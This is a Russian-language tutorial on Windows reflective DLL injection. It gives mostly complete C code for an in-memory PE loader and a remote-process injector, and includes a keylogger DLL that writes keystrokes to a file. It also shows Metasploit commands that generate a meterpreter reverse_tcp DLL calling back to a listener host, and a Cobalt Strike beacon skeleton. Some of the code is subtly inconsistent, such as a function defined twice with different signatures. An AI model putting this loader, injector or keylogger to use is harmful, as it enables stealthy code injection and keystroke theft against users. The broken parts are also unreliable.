Как работает техника, минующая стандартные механизмы ОС Windows.
Reflective DLL Injection — это техника загрузки библиотек динамической компоновки непосредственно из памяти, минуя стандартные механизмы операционной системы. В отличие от обычной DLL-инъекции, которая требует физического файла на диске, рефлективная загрузка работает исключительно с данными в оперативной памяти.
Ключевая особенность техники заключается в том, что DLL содержит собственную функцию загрузки — ReflectiveLoader, которая способна самостоятельно разместить библиотеку в памяти процесса и подготовить её к выполнению. Эта функция фактически реализует функциональность системного PE-загрузчика Windows.
Для понимания принципов работы рефлективной загрузки необходимо разобраться со структурой PE-файлов (Portable Executable). Каждый исполняемый файл в Windows, включая DLL, имеет специфическую структуру, которая описывает расположение кода, данных, импортов и другой информации.
Основные компоненты PE-файла, критичные для загрузки:
Стандартный загрузчик Windows выполняет следующие операции при загрузке DLL:
Основные структуры, с которыми работает загрузчик:
typedef struct _IMAGE_DOS_HEADER {
WORD e_magic; // Magic number
// ... другие поля
LONG e_lfanew; // Смещение к NT заголовкам
} IMAGE_DOS_HEADER;
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS;
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[8];
DWORD VirtualSize;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
// ... остальные поля
} IMAGE_SECTION_HEADER;
Сердцем техники является функция ReflectiveLoader, которая должна быть включена в саму DLL. Первоначальная реализация была представлена Stephen Fewer в 2008 году.
Функция ReflectiveLoader выполняет следующие ключевые задачи:
Поскольку код выполняется в произвольном месте памяти, функция должна сначала определить, где именно она находится. Это делается через анализ стека вызовов:
ULONG_PTR GetReflectiveLoaderOffset(VOID)
{
ULONG_PTR uiAddress = 0;
ULONG_PTR uiLibraryAddress = 0;
// Получаем адрес возврата из стека
uiAddress = (ULONG_PTR)_ReturnAddress();
// Ищем начало PE-файла, сканируя назад
while (TRUE) {
if (((PIMAGE_DOS_HEADER)uiAddress)->e_magic == IMAGE_DOS_SIGNATURE) {
uiLibraryAddress = uiAddress;
break;
}
uiAddress--;
}
return uiLibraryAddress;
}
После определения базового адреса загрузчик анализирует структуру PE-файла:
DWORD ReflectiveLoader(VOID)
{
ULONG_PTR uiBaseAddress;
ULONG_PTR uiLibraryAddress;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSectionHeader;
// Получаем базовый адрес библиотеки
uiLibraryAddress = GetReflectiveLoaderOffset();
// Получаем указатель на NT заголовки
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress +
((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
// Выделяем память для загруженной библиотеки
uiBaseAddress = (ULONG_PTR)VirtualAlloc(NULL,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
Секции исходного PE-файла копируются в выделенную память согласно их виртуальным адресам:
// Копируем заголовки
memcpy((VOID*)uiBaseAddress, (VOID*)uiLibraryAddress,
pNtHeaders->OptionalHeader.SizeOfHeaders);
// Копируем секции
pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pNtHeaders->OptionalHeader +
pNtHeaders->FileHeader.SizeOfOptionalHeader);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if (pSectionHeader[i].SizeOfRawData) {
memcpy((VOID*)(uiBaseAddress + pSectionHeader[i].VirtualAddress),
(VOID*)(uiLibraryAddress + pSectionHeader[i].PointerToRawData),
pSectionHeader[i].SizeOfRawData);
}
}
Если библиотека не может быть загружена по предпочтительному базовому адресу, необходимо скорректировать все абсолютные адреса:
void ProcessRelocations(ULONG_PTR uiBaseAddress, ULONG_PTR uiLibraryAddress)
{
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_DATA_DIRECTORY pDataDirectory;
PIMAGE_BASE_RELOCATION pBaseRelocation;
ULONG_PTR uiAddressDelta;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress +
((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// Вычисляем дельту между предпочтительным и реальным адресом
uiAddressDelta = uiBaseAddress - pNtHeaders->OptionalHeader.ImageBase;
if (uiAddressDelta != 0 && pDataDirectory->Size > 0) {
pBaseRelocation = (PIMAGE_BASE_RELOCATION)(uiBaseAddress + pDataDirectory->VirtualAddress);
while (pBaseRelocation->SizeOfBlock > 0) {
DWORD dwNumberOfEntries = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD pwRelativeInfo = (PWORD)((ULONG_PTR)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < dwNumberOfEntries; i++) {
if ((pwRelativeInfo[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
PULONG_PTR pAddress = (PULONG_PTR)(uiBaseAddress + pBaseRelocation->VirtualAddress +
(pwRelativeInfo[i] & 0x0FFF));
*pAddress += uiAddressDelta;
}
}
pBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pBaseRelocation + pBaseRelocation->SizeOfBlock);
}
}
}
Наиболее сложная часть — заполнение таблицы импортов. Загрузчик должен найти адреса всех внешних функций:
void ResolveImports(ULONG_PTR uiBaseAddress)
{
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor;
PIMAGE_THUNK_DATA pThunkData;
PIMAGE_IMPORT_BY_NAME pImportByName;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress +
((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pImportDescriptor->Name) {
HMODULE hLibModule;
LPCSTR szLibraryName = (LPCSTR)(uiBaseAddress + pImportDescriptor->Name);
// Загружаем требуемую библиотеку
hLibModule = LoadLibraryA(szLibraryName);
if (hLibModule) {
pThunkData = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk);
while (pThunkData->u1.AddressOfData) {
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
// Импорт по ординалу
pThunkData->u1.Function = (ULONG_PTR)GetProcAddress(hLibModule,
(LPCSTR)(pThunkData->u1.Ordinal & 0xFFFF));
} else {
// Импорт по имени
pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunkData->u1.AddressOfData);
pThunkData->u1.Function = (ULONG_PTR)GetProcAddress(hLibModule,
(LPCSTR)pImportByName->Name);
}
pThunkData++;
}
}
pImportDescriptor++;
}
}
Объединяя все компоненты, получаем полную функцию загрузчика:
DWORD WINAPI ReflectiveLoader(VOID)
{
ULONG_PTR uiLibraryAddress = 0;
ULONG_PTR uiBaseAddress = 0;
ULONG_PTR uiEntryPoint = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
// Этап 1: Определяем текущее местоположение
uiLibraryAddress = GetReflectiveLoaderOffset();
// Этап 2: Разбираем PE заголовки
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress +
((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
// Этап 3: Выделяем память для загруженной библиотеки
uiBaseAddress = (ULONG_PTR)VirtualAlloc(NULL,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (!uiBaseAddress) {
return 1;
}
// Этап 4: Копируем секции
CopySections(uiBaseAddress, uiLibraryAddress, pNtHeaders);
// Этап 5: Обрабатываем релокации
ProcessRelocations(uiBaseAddress, uiLibraryAddress);
// Этап 6: Разрешаем импорты
ResolveImports(uiBaseAddress);
// Этап 7: Устанавливаем правильные права доступа к секциям
SetSectionPermissions(uiBaseAddress, pNtHeaders);
// Этап 8: Вызываем точку входа DLL
uiEntryPoint = uiBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
((BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID))uiEntryPoint)(
(HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
return 0;
}
Для создания библиотеки, поддерживающей рефлективную загрузку, необходимо включить функцию ReflectiveLoader в экспортируемые функции:
// ReflectiveDLL.def
EXPORTS
ReflectiveLoader
MyFunction
Основной код библиотеки может выглядеть следующим образом:
#include <windows.h>
// Прототип функции загрузчика
DWORD WINAPI ReflectiveLoader(VOID);
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
// Инициализация при загрузке
DisableThreadLibraryCalls(hinstDLL);
break;
case DLL_PROCESS_DETACH:
// Очистка при выгрузке
break;
}
return TRUE;
}
__declspec(dllexport) void MyFunction(void)
{
MessageBox(NULL, L"Reflective DLL loaded successfully!", L"Success", MB_OK);
}
// Здесь должна быть реализация ReflectiveLoader
// (код из предыдущих примеров)
Для загрузки рефлективной DLL в целевой процесс используется следующий алгоритм:
BOOL InjectReflectiveDLL(DWORD dwProcessId, LPVOID lpDLLBuffer, DWORD dwDLLSize)
{
HANDLE hProcess = NULL;
LPVOID lpRemoteLibraryBuffer = NULL;
HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0;
BOOL bSuccess = FALSE;
// Открываем целевой процесс
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, dwProcessId);
if (!hProcess) {
goto cleanup;
}
// Находим смещение функции ReflectiveLoader в DLL
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDLLBuffer);
if (!dwReflectiveLoaderOffset) {
goto cleanup;
}
// Выделяем память в целевом процессе
lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwDLLSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (!lpRemoteLibraryBuffer) {
goto cleanup;
}
// Копируем DLL в память целевого процесса
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer,
lpDLLBuffer, dwDLLSize, NULL)) {
goto cleanup;
}
// Создаем поток, который выполнит ReflectiveLoader
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset),
NULL, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
bSuccess = TRUE;
}
cleanup:
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);
return bSuccess;
}
Для нахождения функции ReflectiveLoader в загруженной DLL используется разбор таблицы экспорта:
DWORD GetReflectiveLoaderOffset(LPVOID lpDLLBuffer)
{
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_EXPORT_DIRECTORY pExportDirectory;
PDWORD pAddressOfFunctions;
PDWORD pAddressOfNames;
PWORD pAddressOfNameOrdinals;
pDosHeader = (PIMAGE_DOS_HEADER)lpDLLBuffer;
pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)lpDLLBuffer + pDosHeader->e_lfanew);
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)lpDLLBuffer +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
pAddressOfFunctions = (PDWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfFunctions);
pAddressOfNames = (PDWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfNames);
pAddressOfNameOrdinals = (PWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfNameOrdinals);
// Ищем функцию ReflectiveLoader по имени
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
LPCSTR szFunctionName = (LPCSTR)((ULONG_PTR)lpDLLBuffer + pAddressOfNames[i]);
if (strcmp(szFunctionName, "ReflectiveLoader") == 0) {
return pAddressOfFunctions[pAddressOfNameOrdinals[i]];
}
}
return 0;
}
Современные реализации рефлективной загрузки включают несколько важных оптимизаций и дополнительных возможностей.
Для корректной работы в системах с включенным DEP необходимо правильно устанавливать права доступа к секциям памяти:
void SetSectionPermissions(ULONG_PTR uiBaseAddress, PIMAGE_NT_HEADERS pNtHeaders)
{
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwOldProtect;
pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pNtHeaders->OptionalHeader +
pNtHeaders->FileHeader.SizeOfOptionalHeader);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
DWORD dwProtection = 0;
if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ) {
if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
dwProtection = PAGE_EXECUTE_READWRITE;
} else {
dwProtection = PAGE_EXECUTE_READ;
}
} else {
dwProtection = PAGE_EXECUTE;
}
} else {
if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ) {
if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
dwProtection = PAGE_READWRITE;
} else {
dwProtection = PAGE_READONLY;
}
} else {
dwProtection = PAGE_NOACCESS;
}
}
VirtualProtect((LPVOID)(uiBaseAddress + pSectionHeader[i].VirtualAddress),
pSectionHeader[i].SizeOfRawData,
dwProtection,
&dwOldProtect);
}
}
Для библиотек, использующих TLS, необходимо дополнительно обработать TLS Directory:
void ProcessTLS(ULONG_PTR uiBaseAddress, PIMAGE_NT_HEADERS pNtHeaders)
{
PIMAGE_TLS_DIRECTORY pTlsDirectory;
if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size > 0) {
pTlsDirectory = (PIMAGE_TLS_DIRECTORY)(uiBaseAddress +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
// Выполняем TLS callbacks
if (pTlsDirectory->AddressOfCallBacks) {
PIMAGE_TLS_CALLBACK* pCallback = (PIMAGE_TLS_CALLBACK*)pTlsDirectory->AddressOfCallBacks;
while (*pCallback) {
(*pCallback)((LPVOID)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
pCallback++;
}
}
}
}
Рассмотрим практический пример создания простой рефлективной DLL для демонстрации работы техники.
// InfoDLL.cpp
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Функция для вывода информации о процессе
__declspec(dllexport) void WINAPI ShowProcessInfo(void)
{
CHAR szBuffer[1024];
DWORD dwProcessId = GetCurrentProcessId();
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (pe32.th32ProcessID == dwProcessId) {
sprintf_s(szBuffer, sizeof(szBuffer),
"Process Name: %s\nProcess ID: %d\nParent PID: %d\nThreads: %d",
pe32.szExeFile, pe32.th32ProcessID,
pe32.th32ParentProcessID, pe32.cntThreads);
MessageBoxA(NULL, szBuffer, "Process Information", MB_OK);
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
}
// Включаем ReflectiveLoader (код из предыдущих примеров)
// ...
// KeyloggerDLL.cpp
#include <windows.h>
#include <fstream>
HHOOK g_hKeyboardHook = NULL;
std::ofstream g_logFile;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0 && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam;
// Логируем нажатие клавиши
char key = MapVirtualKey(pKeyStruct->vkCode, MAPVK_VK_TO_CHAR);
if (key >= 32 && key <= 126) {
g_logFile << key;
g_logFile.flush();
}
}
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}
__declspec(dllexport) void WINAPI StartKeylogging(void)
{
g_logFile.open("C:\\temp\\keylog.txt", std::ios::app);
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc,
GetModuleHandle(NULL), 0);
if (g_hKeyboardHook) {
// Запускаем цикл сообщений
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
__declspec(dllexport) void WINAPI StopKeylogging(void)
{
if (g_hKeyboardHook) {
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
}
if (g_logFile.is_open()) {
g_logFile.close();
}
PostQuitMessage(0);
}
Современные инструменты для пентестинга активно используют рефлективную загрузку. Рассмотрим примеры интеграции с популярными фреймворками.
В Metasploit рефлективная загрузка используется для стейджеров:
# Пример Metasploit payload с рефлективной загрузкой
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
generate -f dll -o meterpreter.dll
# Payload будет включать ReflectiveLoader для загрузки в память
Cobalt Strike использует рефлективные DLL для своих beacon-модулей:
// Пример структуры Beacon DLL
DWORD WINAPI ReflectiveLoader(VOID);
void go(char* args, int len) {
// Основная функциональность beacon
datap parser;
char* command;
BeaconDataParse(&parser, args, len);
command = BeaconDataExtract(&parser, NULL);
// Выполнение команды и возврат результата
BeaconOutput(CALLBACK_OUTPUT, result, strlen(result));
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
// Инициализация при загрузке
break;
}
return TRUE;
}
При разработке рефлективных DLL важно правильно настроить процесс отладки. Поскольку код загружается динамически, стандартные средства отладки могут работать некорректно.
#ifdef _DEBUG
#define DEBUG_PRINT(fmt, ...) do { \
char debug_buf[256]; \
sprintf_s(debug_buf, sizeof(debug_buf), fmt, __VA_ARGS__); \
OutputDebugStringA(debug_buf); \
} while(0)
#else
#define DEBUG_PRINT(fmt, ...)
#endif
DWORD WINAPI ReflectiveLoader(VOID)
{
DEBUG_PRINT("ReflectiveLoader: Starting\n");
ULONG_PTR uiLibraryAddress = GetReflectiveLoaderOffset();
DEBUG_PRINT("ReflectiveLoader: Library address = 0x%p\n", (void*)uiLibraryAddress);
// Остальной код загрузчика с отладочными сообщениями
DEBUG_PRINT("ReflectiveLoader: Completed successfully\n");
return 0;
}
Важно тестировать рефлективные DLL на различных версиях Windows и архитектурах:
// Проверка архитектуры процесса
BOOL IsProcess64Bit(HANDLE hProcess)
{
BOOL bIsWow64 = FALSE;
#ifdef _WIN64
return TRUE;
#else
if (IsWow64Process(hProcess, &bIsWow64)) {
return !bIsWow64;
}
return FALSE;
#endif
}
// Адаптация загрузчика под архитектуру
#ifdef _WIN64
typedef ULONG64 ARCHITECTURE_TYPE;
#else
typedef ULONG32 ARCHITECTURE_TYPE;
#endif
Reflective DLL Injection представляет собой мощную технику, которая требует глубокого понимания внутреннего устройства Windows и формата PE-файлов. Правильная реализация позволяет создавать эффективные инструменты для исследования безопасности, однако требует тщательного тестирования и отладки для обеспечения стабильной работы в различных средах.